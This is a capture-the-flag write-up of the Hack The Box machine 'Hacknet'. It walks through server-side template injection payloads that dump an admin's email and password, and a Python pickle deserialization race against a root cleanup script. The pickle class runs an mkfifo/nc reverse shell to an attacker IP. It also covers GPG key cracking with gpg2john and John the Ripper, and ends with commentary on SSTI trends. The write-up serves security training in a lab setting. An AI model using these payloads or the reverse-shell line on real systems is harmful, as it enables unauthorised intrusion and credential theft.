SSTI Explained: HTB Hacknet Writeup

Welcome to HTB Hacknet, a Hard-difficulty machine on Hack The Box that tests your ability to read the developer’s mind. This is a masterclass in Framework Exploitation and Insecure Deserialization.

In this detailed breakdown, we dissect an attack chain that starts with a Python web framework blindly trusting user input and ends with a race condition in a root-privileged maintenance script.

We will explore how to traverse internal objects to leak data without SQL, how to weaponize Python serialization, and why standard automated scanners will leave you empty-handed on this box.

Phase 1: Behavioral Reconnaissance

Hacknet demands a departure from the loud and proud automated scanning methodology. While Nmap gives us the coordinates, the entry point is hidden in the application logic.

sudo nmap -p- -sS -T4 -Pn --min-rate 2000 10.10.11.85

Expert Insight:

Automated directory busters often fail here because the vulnerability is a hidden behavior.

HackTheBox Certified Penetration Testing Specialist (CPTS) Study Notes | 2026 Edition - Buymeacoffee

The HackTheBox CPTS Study Notes V8 are an 856-page PDF guide updated to meet the changes performed on the exam in 2026. They are designed to help candidates prepare for the Hack The Box Certified Pene

buymeacoffee.com

Phase 2: Server-Side Template Injection

We identify a classic sink: the Username field. However, the injection doesn’t trigger immediately on the main profile view. It triggers only when viewing the /likes/{id} endpoint. This is a lesson in Context Discovery, understanding that data flows through multiple templates, some more secure than others.

The application uses a Python framework (likely Flask or Django) that fails to sanitize input before rendering it. This allows us to inject Server-Side Template Injection (SSTI) payloads.

The Payload Strategy:

We input {{ 7*7 }}. If the page renders 49, we have execution.

We don’t just want a shell; we want data. We use the template engine to introspect the users object array.

Instead of brute-forcing a login, we query index 0 of the user array (users.0). In most databases, the first user created is the Administrator.

# Verification Payload (Username field)
{{ 7*7 }}

# Recon Payload (Dump object values)
{{ users.values }}# Exfiltration Payload (Targeting the Admin)
{{ users.0.email }}
{{ users.0.password }} 

Phase 3: Race Conditions & Serialization

Gaining a foothold as a low-privileged user is only half the battle. The privilege escalation phase shifts gears to Linux System Internals.

We discover a root-privileged process that interacts with the /var/tmp directory. This process is running a cleanup script that deletes cache files. However, it blindly deserializes the contents of files in this directory using Python's pickle module. This creates a Race Condition.

The Vulnerability: The root process trusts that files in /var/tmp are valid cache files. It reads them and deserializes them. If we can plant a malicious serialized object (a "pickle bomb") and name it correctly right before the script processes it, the root user executes our code.

The Exploit Pattern:

Monitor: Use watch to see when the cleanup script runs.

Weaponize: Create a Python script that generates a pickled object containing a reverse shell payload.

Race: Run a loop that constantly writes this malicious file to /var/tmp, hoping to catch the root process mid-execution.

# File System Forensics (Watch for cadence)
watch -n 1 'ls -ltr /var/tmp/django_cache'

# The Pickle Payload Logic (Conceptual Python)
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 4444 >/tmp/f',))

Expert Insight:

Tools like LinPEAS are invaluable here, but you must know how to read them. Ignore the CVE suggestions.

Phase 4: Post-Exploitation Forensics

Getting root is the beginning of the looting phase. We find GPG-encrypted artifacts.

This mimics a real-world engagement where credentials are often secured but accessible to admins.

HackTheBox Certified Web Exploitation Specialist (HTB CWES) Notes (Unofficial) - Buymeacoffee

Welcome to the HTB Certified Web Exploitation Specialist (HTB CWES) Guide. Whether you’re just starting your journey in ethical hacking or looking to refine your existing skills, this resource is stru

buymeacoffee.com

The Workflow:

1. Exfiltrate the armored key and the encrypted backup.
2. Convert the key to a hash using gpg2john.
3. Crack the hash with John the Ripper to get the passphrase.
4. Decrypt the backup to find hardcoded secrets.

# Convert Key for Cracking
gpg2john armored_key.asc > hash

# Import & Decrypt
gpg --import armored_key.asc
gpg --decrypt backup.sql.gpg

Why SSTI Was the Silent Killer of 2025

While the industry obsessed over AI hallucinations and memory safety in 2025, Server-Side Template Injection (SSTI) quietly returned to become a primary vector for cloud compromise.

The Glue Code Problem

The biggest revelation was that AI pipelines are built on old foundations. Vulnerabilities like CVE-2025–25362 (The Spacy-LLM Incident) showed that widely used NLP libraries were taking user prompts and passing them directly into template engines to format them for LLMs. Attackers injected a payload that the underlying Python service executed.

2. CMS Fatigue

Major platforms like Craft CMS and Grav suffered critical failures where the template sandboxes (like Twig) were bypassed. Marketing teams demanded dynamic content, and developers obliged by exposing raw template engines, leading to massive ransomware events in the retail sector.

3. The Cloud Pivot

In 2025, an SSTI owns the cloud. Attackers use the RCE to land in a container, query the internal metadata service (IMDS), steal the IAM role, and pivot to S3 buckets or infrastructure destruction.

Expert Insight:

Template engines are effectively eval() functions with better PR. The 'Mean Time to Innocence' for SSTI is zero.

Certification Roadmap

Hacknet is a simulator for high-level certifications.

OSWE (OffSec Web Expert): The requirement to identify/exploit SSTI and interact with backend Python objects is core curriculum.

OSEP (OffSec Experienced Penetration Tester): The focus on Linux post-exploitation, custom timers, and race conditions aligns perfectly.

eWPTX: Advanced serialization attacks and template injection are heavy features of this exam.